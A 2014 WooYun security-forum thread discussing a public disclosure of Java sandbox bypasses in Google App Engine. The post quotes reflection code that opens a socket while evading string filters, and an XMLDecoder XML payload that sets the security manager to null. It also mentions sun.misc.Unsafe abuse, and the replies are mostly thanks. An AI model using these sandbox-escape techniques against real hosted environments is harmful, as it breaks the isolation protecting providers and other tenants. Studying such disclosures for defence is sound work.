当前位置:WooYun(白帽子技术社区) >> 云计算安全 >> XAE 沙盒绕过

XAE 沙盒绕过

livers (如梦似幻) | 2014-12-08 23:21

看到今天fd上GAE的java沙盒的绕过
http://seclists.org/fulldisclosure/2014/Dec/26
security-explorations 报告他们发现了30+ 的问题,poc写了17个  最后说没有测完。
真心牛X。

翻他们之前的papper,非常赞。  推荐之

http://www.security-explorations.com/materials/SE-2013-01-ORACLE.pdf
1.多种花样利用java的反射机制绕过沙盒。
Class c=Class.forName("java.net.Socket");
Class ctab[]=new Class[2];
ctab[0]=Class.forName("java.lang.String");
ctab[1]=Integer.TYPE;
Constructor con=c.getConstructor(ctab);

Object args[]=new Object[2];
args[0]=hostname;
args[1]=new Integer(port);
Object s=con.newInstance(args);
Method geti=c.getMethod("getInputStream",new Class[0]);
Method geto=c.getMethod("getOutputStream",new Class[0]);
InputStream is=(InputStream)geti.invoke(s,new Object[0]);
OutputStream os=(OutputStream)geto.invoke(s,new Object[0]);

没有直接 这样 回调xxxx.getClass().forName("xxx").getMethod("xxx",null).invoke(null,null).exec(xxxx) 【当然这个是静态回调 动态要实例化下】
而是用的类,方法,示例的引用 绕过沙盒这些敏感字符串的限制。
2. 未限制的特权方法
有多个,其中包括了之前 shine [link href="WooYun: SAE允许JVM内存对象直接读写操作"] sae绕过[/link]
提到的 sun.misc.Unsafe  特权类  

还有些淫荡的方式
例如通过
java.beans.XMLDecoder的实例 解析xml 执行java的方法
<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<void id="setsmres" class="java.lang.System" method="setSecurityManager"
<null></null>
</void>

先关联到权限域 然后 设置Security Manager 对象为NULL

干货很足 大家细细看。

分享到:
  1. 1#
    回复此人 感谢
    园长 (喵~) | 2014-12-09 00:26

    感谢分享

  2. 2#
    回复此人 感谢
    _Thorns (创业公司招聘系统运维、软件逆向、数据可视化攻城狮。) | 2014-12-09 00:27

    感谢分享

  3. 3#
    回复此人 感谢
    Yaseng (看黄片 到 www.yaseng.org) | 2014-12-09 00:31

    先Mark

  4. 4#
    回复此人 感谢
    小胖子 (z7y首席代言人,园长的表哥...) | 2014-12-09 08:39

  5. 5#
    回复此人 感谢
    肉肉 (我我我我我我是乌云头号美男子) | 2014-12-09 10:14

    感谢分享

  6. 6#
    回复此人 感谢
    x1aoh4i | 2014-12-09 10:20

    MARK

  7. 7#
    回复此人 感谢
    GaRY | 2014-12-09 10:26

    赞,好东西

  8. 8#
    回复此人 感谢
    寂寞的瘦子 (整天嘻嘻哈哈。) | 2014-12-09 10:30

    语法越灵活,安全隐患越大。

  9. 9#
    回复此人 感谢
    泳少 (此号被射!by U神) | 2014-12-09 18:12

    感谢大神

  10. 10#
    回复此人 感谢
    Fireweed | 2014-12-09 19:18

  11. 11#
    回复此人 感谢
    zzR (你说我不能笑- -!) | 2014-12-10 11:59

    MK TH

  12. 12#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-12-10 12:46

    MARK THS

  13. 13#
    回复此人 感谢
    ztaosony | 2014-12-10 13:48

    感谢分享

  14. 14#
    回复此人 感谢
    龍 、 | 2014-12-10 20:03

    感谢分享

  15. 15#
    回复此人 感谢
    Nebula | 2014-12-11 06:59

    GAE尚且如此,国内的Java云沙盒环境基本上都需要重写.通用jre的0day被绕过可以理解,但没有读懂jre默认沙盒结构去就写云沙盒肯定有问题!

  16. 16#
    回复此人 感谢
    livers (如梦似幻) | 2014-12-11 15:36

    @Nebula GAE SDK是非常详细的,你的代码可以试试用反射去清空对象。按你的搜索写法 x64的我不知道,我看java 好像内存优化压缩,.net 下jit里面可以用指针4字节(64位8字节)

  17. 17#
    回复此人 感谢
    Nebula | 2014-12-11 18:05

    @livers 不需要反射,其实sun.misc.Unsafe还可以用另一种方式去搞(可以再看看源代码,它不只是读写内存这么简单),我只是觉得大面积地址写内存简单暴力点.

  18. 18#
    回复此人 感谢
    0x0F (..........................................................................................................................................................................................................................................................) | 2014-12-16 00:31

    借帖子求下 @GaRY 兄的联系方式= =有些事情想找你

  19. 19#
    回复此人 感谢
    GaRY | 2014-12-16 17:30

    @0x0F 直接mail我吧 wofeiwo_at_80sec_dot_com

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无